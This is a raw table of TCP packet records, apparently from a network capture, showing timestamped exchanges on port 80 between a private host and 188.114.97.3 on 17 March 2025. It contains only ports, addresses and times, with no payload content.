Mar 17, 2025 13:22:12.279892921 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279903889 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279908895 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.279917955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279930115 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279942989 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279953003 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.279958963 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279970884 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279983997 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279990911 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.279999971 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.280010939 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.280013084 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.280026913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.280033112 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.280051947 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.280075073 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.364986897 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365075111 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365159035 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365171909 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365196943 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365216017 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365345955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365360022 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365374088 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365386963 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365406036 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365415096 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365431070 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365444899 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365457058 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365467072 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365485907 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365489006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365502119 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365504980 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365525007 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365530968 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365542889 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365544081 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365556002 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365576029 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365586996 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365597963 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365598917 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365612984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365629911 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365639925 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365641117 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365657091 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365681887 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365683079 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365696907 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365708113 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365720034 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365721941 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365746975 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365772963 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365840912 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365854979 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365865946 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365871906 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365880013 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365885973 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365896940 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365907907 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365916967 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365921021 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365935087 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365942955 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.365948915 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.365978956 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366005898 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366013050 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366024971 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366036892 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366050005 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366050959 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366065025 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366071939 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366084099 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366085052 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366095066 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366096020 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366108894 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366120100 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366131067 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366136074 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366147995 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366152048 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366161108 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366168976 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366174936 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366226912 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366226912 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366228104 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366245985 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366257906 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366270065 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366277933 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366282940 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366301060 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366324902 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366420984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366436005 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366447926 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366461039 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366461992 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366472960 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366487026 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366492987 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366499901 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366514921 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366518021 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366525888 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366538048 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366549969 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366563082 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366574049 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366574049 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366574049 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366590977 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366599083 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366604090 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366615057 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366626978 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366631031 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366637945 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366650105 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366653919 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366661072 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366710901 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366710901 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366733074 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366745949 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366756916 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366770029 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366791964 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366791964 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366791964 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366791964 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366805077 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366816998 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366817951 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366828918 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366832018 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366842985 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366853952 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366904020 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366934061 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366949081 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366961956 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366974115 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.366976976 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.366988897 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367000103 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367022991 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367041111 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367043018 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367055893 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367067099 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367079973 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367083073 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367095947 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367105007 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367108107 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367120028 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367131948 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367134094 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367145061 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367161036 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367172003 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367199898 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367295980 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367310047 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367322922 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367335081 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367338896 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367347002 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367355108 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367360115 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367372036 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367373943 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367384911 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367408037 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367417097 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367445946 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367460012 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367470980 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367482901 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367485046 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367496967 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367508888 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367511988 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367521048 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367532015 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367544889 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367553949 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367553949 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367573023 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367592096 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367603064 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367604971 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367618084 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367629051 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367633104 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367640972 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367646933 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367652893 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.367662907 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.367702961 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.457717896 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.457856894 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.457874060 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.457887888 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.457942963 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458002090 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458020926 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458034992 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458045006 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458045959 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458058119 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458069086 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458070993 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458093882 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458100080 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458111048 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458122969 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458127975 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458134890 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458148003 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458153009 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458159924 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458173990 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458179951 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458185911 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458194971 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458199024 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458209991 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458220959 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458223104 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458234072 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458247900 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458262920 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458264112 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458280087 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458292007 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458297014 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458303928 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458314896 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458322048 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458336115 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458348036 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458347082 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458360910 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458370924 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458375931 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458388090 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458394051 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458400965 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458412886 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458420038 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458434105 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458457947 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458884954 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458898067 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458914995 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458925009 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458926916 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458940029 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458941936 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458952904 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458959103 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458965063 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458976984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.458982944 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.458991051 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459012032 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459028006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459037066 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459039927 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459053040 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459064007 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459065914 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459074974 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459079981 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459089041 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459098101 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459100008 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459110022 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459121943 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459122896 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459135056 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459141016 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459146976 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459158897 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459160089 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459173918 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459182978 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459208965 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459517002 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459530115 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459544897 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459556103 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459579945 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459793091 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459811926 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459822893 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459830046 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459836006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459847927 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459851980 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459860086 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459872961 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459880114 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459883928 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459897995 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459902048 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459913015 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459925890 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459939003 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459949017 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459959984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459960938 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.459970951 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459981918 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.459981918 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460000992 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460000992 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460020065 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460025072 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460033894 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460040092 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460051060 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460057020 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460063934 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460073948 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460074902 CET	80	49693	188.114.97.3	192.168.2.6
